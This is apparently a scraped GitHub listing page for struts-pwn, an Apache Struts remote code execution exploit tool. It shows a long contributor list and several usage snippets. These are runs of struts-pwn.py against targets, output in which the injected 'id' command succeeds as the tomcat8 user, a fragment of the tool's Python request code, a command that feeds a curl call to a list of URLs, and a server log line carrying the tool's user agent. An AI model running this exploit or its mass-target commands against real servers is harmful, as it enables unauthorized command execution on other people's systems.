mazen160 / struts-pwn Goto Github PK

Contributors

Stargazers

Forkers

arbazkiraak hoangcuongflp kbahaxor smallmeet followmaster vysecurity salewski minkione zshell random1984 rajivraj magnologan zephrfish songofhack jesobreira kaim1013 moriarty2016 rlgnszzz kaicastledine surajsinghbisht054 jakop345 infosechorse olivierh59500 lovebair2022 jeperez tabishimran ansjsun jnoxon tunisj havocparasite secoba redblack168 chosen1 bb33bb mgcfish lamkeysing92 arryboom rajeshroshanprasad kuteminh11 wivd vitalyorbit iamtutu scopion rcrax bhafsec 0x24bin peterpeter228 robin316 sauren-daxia akatie javarockstar int3grate james4388 bijaye paragbaxi cyberhack255 michalkoczwara tollopa wandong tr7989 yeyintminthuhtut detrojones qsdj dabaohuang flying0er tobey123 ganguoyin leohuang2015 blackap3rture sireof test123test111 hackmycontrolsystem ykankaya alibkaba bugsbunny1680 reboare jondonym d00mfist austinsonger jer1nj0y jepsonrob cgsecurity nanocybersec iulmt quyendang-dev 20100507 dannymas qingluan mrdgan shark-mk guigeek123 qq431169079 orf53975 attackgithub kaide0521 tudt3012 modulexcite freeide natrix-fork crim3hound

$ ./struts-pwn.py -u 'http://127.0.0.1:8080/struts2-showcase/index.action'

[*] URL: http://127.0.0.1:8080/struts2-showcase/index.action
[*] Status: Not Affected.

root@kali:~/CVE-2017-12617/struts-pwn# python struts-pwn.py -u http://xxxx/test.action

[*] URL: xxxx/test.action
[*] CMD: id
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
ERROR
[%] Done.

    try:
        #rq = requests.get(url, headers=headers, timeout=timeout, allow_redirects=False) 
        #output = rq.text
        request = urllib2.Request(url, headers=headers)
        request = urllib2.urlopen(request).read()
    except Exception as e:
        print("EXCEPTION::::--> " + str(e))
        print e.partial
        output = 'ERROR'
    return(output)

root@kali:~/CVE-2017-12617/struts-pwn# python struts-pwn.py -u http://xxxx/test.action

[*] URL: http://xxxx/test.action
[*] CMD: id
EXCEPTION::::--> IncompleteRead(54 bytes read)
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)

ERROR
[%] Done.

python struts-pwn.py --list 'urls.txt' -c 'curl -L https://mysite.com/test.php?url='

80.15.195.28 - - [30/Apr/2017:10:34:21 +0000] "GET / HTTP/1.1" 200 0 "-" "struts-pwn (https://github.com/mazen160/struts-pwn)"